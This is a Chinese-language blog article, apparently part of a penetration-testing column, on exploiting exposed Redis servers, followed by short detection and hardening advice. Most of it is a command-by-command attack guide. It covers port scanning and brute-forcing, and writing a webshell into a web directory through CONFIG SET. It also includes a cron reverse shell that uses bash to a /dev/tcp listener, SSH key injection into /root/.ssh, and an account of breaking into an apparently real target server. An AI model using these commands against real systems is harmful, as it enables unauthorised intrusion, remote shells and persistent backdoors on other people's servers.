7.相关漏洞
因配置不当可以未经授权访问,***者无需认证就可以访问到内部数据 , 其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的、或商业数据可以通过get枚举键值),也可以恶意执行来清空所有数据,***者还可通过EVAL执行lua代码 , 或通过数据备份功能往磁盘写入后门文件 。如果Redis以root身份运行,可以给root账户写入SSH公钥文件 , 直接免密码登录服务器,其相关漏洞信息如下:
(1)Redis 远程代码执行漏洞(CVE-2016-8339)
Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞 , 可导致任意代码执行 。Redis数据结构存储的 SET命令中---limit选项处理存在越界写漏洞 。构造的 SET命令可导致越界写 , 代码执行 。
(2)CVE-2015-8080
Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,.c中存在函数整数溢出,允许上下文相关的***者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出 。
(3)CVE-2015-4335
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞 。远程***者可执行eval命令利用该漏洞执行任意Lua字节码
(4)CVE-2013-7458
读取“.”配置文件信息 。
1.1.2 Redis***思路
1. 内网端口扫描
nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24
2.通过文件包含读取其配置文件
Redis配置文件中一般会设置明文密码,在进行***时也可以通过查看其配置文件,Redis往往不只一台计算机 , 可以利用其来进行内网***,或者扩展权限*** 。
3.使用Redis暴力破解工具
,其命令为:
node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555
需要安装node:
git clone https://github.com/nodejs/node.git
chmod -R 755 node
cd node
./configure
make
4.msf下利用模块
auxiliary/scanner/redis/file_uploadnormalRedis File Upload
auxiliary/scanner/redis/redis_loginnormalRedis Login Utility
auxiliary/scanner/redis/redis_servernormalRedis Command Execute Scanner
1.1.漏洞利用
1. 获取
当redis权限不高时 , 并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写,前提是知道物理路径,精简命令如下:
config set dir E:/www/font
config set dbfilename redis2.aspx
set a ""
save
2.反弹shell
(1)连接Redis服务器
redis-cli –h
192.168.106.135 –p 6379
(2)在192.168.106.133上执行
nc –vlp 7999
(3)执行以下命令
set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.106.133/7999 0>&1\n\n"
config set dir /var/spool/cron/
ubantu文件为:/var/spool/cron/crontabs/
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
3.免密码登录ssh
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3+rrWHRaSUqLD5+auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK+rmoXWxsz1dNDjO8eFy88Qqe9j3meYU/CQHGRSw0/XlzUxA95/ICmDBgQ7E9J/tN8BWWjs5+sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3/22LbqtpT1RKvVsuaLOrDz1E8qH+TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lul root@kali2018\n\n\n"
save
执行效果如图2所示 。
文章插图
图漏洞SSH免密码登录
4.使用漏洞搜索引擎搜索
(1)对“port: 6379”进行搜索
:6379
(2)除去显示“-.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问 。
(3)
关键字检索:port="6379" && ==redis && =CN
1.1.4 Redis账号获取实战
1.扫描某目标服务器端口信息
通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put 软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器 。
文章插图
图3扫描同网段开放该端口的服务器
2.使用登录服务器
使用命令“ ip port”命令登录,例如 1**.**.**.78 3357,登录后 , 输入auth和密码进行认证 。
3.查看并保存当前的配置信息
通过“ get命令”查看dir和的信息 , 并复制下来留待后续恢复使用 。
config get dir
config get dbfilename
4.配置并写入
(1)设置路径
set dir E:/www/font
(2)设置数据库名称
将对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx 。
config set dbfilename redis.aspx
(3)设置的内容
根据实际情况来设置的内容 , 仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例 。
set webshell ""
//php查看信息
set webshell " "
//phpwebshell
set webshell ""
// aspx的webshell,注意双引号使用\"
(4)保存写入的内容
save
(5)查看的内容
get webshell
完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功 。
文章插图
图4写入
【Redis漏洞利用与防御】5. 测试是否正常
在浏览器中输入对应写入文件的名字 , 如图5所示进行访问,出现类似:
“?'a@H搀???”则表明正确获取 。
文章插图
图5测试是否正常
6.获取
如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的 。
文章插图
图6获取
7.恢复原始设置
文章插图
(1)恢复dir
config set dir dirname
(2)恢复
config set dbfilename dbfilename
(3)删除
del webshell
(4)刷新数据库
flushdb
8.完整命令总结
telnet 1**.**.**.35 3357
auth 123456
config get dir
config get dbfilename
config set dir E:/www/
config set dbfilename redis2.aspx
set a ""
save
get a
9.查看redis配置conf文件
通过,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行*** , 如图7所示 , 可以看到路径、端口、密码等信息 。
文章插图
图7查看redis其配置文件
1.1.***检测和安全防范
1.***检测
(1)检测key
通过本地登录,通过“keys *”命令查看,如果有***则其中会有很多的值 , 如图8所示,在keys *执行成功后,可以看到有和命令,执行get 即可进行查看 。
文章插图
图8检查keys
(2)linux下需要检查
Redis内建了名为的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh,/root/.ssh/被覆盖或者包含Redis相关的内容 , 查看其值就可以知道是否被***过 。
(3)对网站进行扫描和分析 , 发现利用Redis账号漏洞的,则在shell中会村在Redis字样 。
(4)对服务器进行后门清查和处理 。
2.修复办法
(1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口
(2)检查是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件 。并重启ssh服务( ssh )
(3)增加 Redis 密码验证
首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同) /etc/redis/6379.conf,找到# #去掉前面的#号,然后将改为自己设定的密码,重启启动redis服务 。
(4)修改conf文件禁止全网访问 , 打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问) 。
3.可参考加固修改命令
port 修改redis使用的默认端口号bind 设定redis监听的专用IPrequirepass 设定redis连接的密码rename-command CONFIG ""#禁用CONFIG命令rename-command info info2#重命名info为info2
1.1.6总结
很多人一看到网络***,就会觉得******很难,很高深,很复杂 。为响应读者号召,我将借助51CTO博客这个平台,把我18年来积累的网络***实战经验,精中取精 , 集结成17篇文章,让大家更针对性的了解在网络***方向的应用 。
本专栏主要介绍如何利用来进行网络***,内容上由浅入深,从安装、命令参数解读,到各种***利用场景和各种利用技巧,全方位解读 。
专栏的每一个示例,都是经过精挑细选的来自真实环境的***,都是一个图文并茂的***故事 。
对于有疑问的地方,大家可以随时留言,我会随时解答 。
专栏地址:
******入门到实践,让子*弹飞一会儿
文章插图
参考文章
- 温室中的气体肥料,气体肥料是利用二氧化碳什么性质
- 对数函数求导的方法 对数函数求导的方法有几种
- OpenVAS 漏洞系统介绍及搭建
- 1、Redis 怎么保证高可用、有哪些集群模式?
- 生活中利用超声波的例子 你还知道哪些超声波应用的例子试举一个
- 多块闲置硬盘如何能够利用起来使用 多块闲置硬盘如何能够利用起来
- 密封盒吸住了怎么打开
- Vue 框架涉及国家安全?前端框架也会有漏洞?
- 锡纸可以回收利用吗 锡纸怎么回收利用
- 用python绘制股票图_利用python numpy+matplotlib绘制